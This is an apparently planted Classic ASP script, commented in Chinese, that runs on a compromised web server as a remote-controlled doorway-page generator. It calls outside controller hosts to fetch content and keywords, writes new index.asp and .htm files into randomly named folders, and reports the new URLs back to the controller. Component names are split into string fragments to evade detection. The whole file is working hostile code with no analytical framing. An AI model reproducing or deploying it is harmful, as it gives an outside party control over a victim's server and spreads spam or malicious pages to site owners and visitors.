<% Function getHTTPPage(url) dim objXML set objXML=server.createobject("MSX" & "ML2.XM" & "LHT" & "TP") objXML.open "GET",url,false objXML.send() '发送 getHTTPPage=bBytesToBstr(objXML.responseBody)'返回信息,同时用函数定义编码 set objXML=nothing'关闭 End Function // Function CreateFileDir(dir) set fso = Server.CreateObject("scripting.filesystemobject") If fso.folderexists(Server.MapPath(dir)) Then CreateFileDir=0 Else fso.CreateFolder(Server.MapPath(dir)) CreateFileDir=1 End If End Function Function bBytesToBstr(body) dim objstream set objstream = Server.CreateObject("ad"&"odb.str"&"eam") '//调用adodb.stream组件 objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" '转换原来默认的UTF-8编码转换成GB2312编码,否则直接用XMLHTTP调用有中文字符的网页得到的将是乱码 bBytesToBstr = objstream.ReadText objstream.Close set objstream = nothing end Function //------------------------------ PageNum=5 isRoot="mu123" myname="diao"&"si" control="http://www.taobao201588.com/4/" moban="1" index = nowfile() keywords = Request.QueryString("keywords") uri= Request.ServerVariables("URL") uri = Replace(uri,index,"") url=Request.ServerVariables("SERVER_NAME") if isRoot = myname then filepath=Server.MapPath(index) set fileConn=Server.CreateObject("Scripting.FileSystemObject") '建立Scripting对象 set fileOpen=fileConn.OpenTextfile(filepath,1,false) '打开文件并读取文件 while not fileOpen.AtEndOfStream '如果没有读到最后一行则循环 strtmp=fileOpen.Readline() filestr=filestr & strtmp & vbcrlf wend fileOpen.close '关闭文件 set fileConn=nothing '释放对象 set fileOpen=nothing con=Replace(filestr,"mu123","mu123") dim a for a=1 to PageNum step 1 RANDOMIZE randMath=Year(now())&Month(now())&day(now())&Minute(now())&Second(now()) Urls="" OtherDir=randMath Urls="http://"&url& uri &randMath&"/" if a = PageNum then NowUrl="http://"&url&uri sitemap=getHTTPPage(Control&"/index.php?host="&url&"&keywords="&keywords) Response.Write sitemap end if if CreateFileDir(OtherDir)=1 then CreateFile(OtherDir&"/index.asp") posturl=getHTTPPage(control&"/posturl.php?url="&Urls&"index.asp") end if next Else NowUrl="http://"&url&uri keycon=getHTTPPage(Control&"/GetKey.php") keyarr = split(keycon,"|") Web="http://"&url set fso = Server.CreateObject("scripting.filesystemobject") if fso.fileexists(Server.MapPath("index.htm")) and ubound(keyarr)=1 then names=keyarr(1)&".htm" Else names="index.htm" end if Set Fso=Nothing posturl=getHTTPPage(control&"/posturl.php?url="&NowUrl&names&"&open=1&key="&keyarr(0)) con=getHTTPPage("http://a.lt-zx.com/S/?HOST=VIP888"&NowUrl&"&web="&Web&"&moban="&moban&"&key="&keyarr(0)) CreateFile(names) filepath=Server.MapPath("index.htm") set fileConn=Server.CreateObject("Scripting.FileSystemObject") '建立Scripting对象 set fileOpen=fileConn.OpenTextfile(filepath,1,false) '打开文件并读取文件 while not fileOpen.AtEndOfStream '如果没有读到最后一行则循环 strtmp=fileOpen.Readline() filestr=filestr & strtmp & vbcrlf wend fileOpen.close '关闭文件 set fileConn=nothing '释放对象 set fileOpen=nothing response.write filestr Response.end() end if Function CreateFile(file) Set fso=Server.CreateObject("Scripting.FileSystemObject") If fso.fileexists(Server.MapPath(file)) Then CreateFile=0 Else createFile=1 Set f=fso.CreateTextFile(Server.MapPath(file),true) f.WriteLine con f.close set f=Nothing set fso=Nothing End If End Function Function nowfile() strPath=request.serverVariables("PATH_INFO") nowfile=lcase(mid(strPath,instrRev(strPath,"/")+1)) End Function %>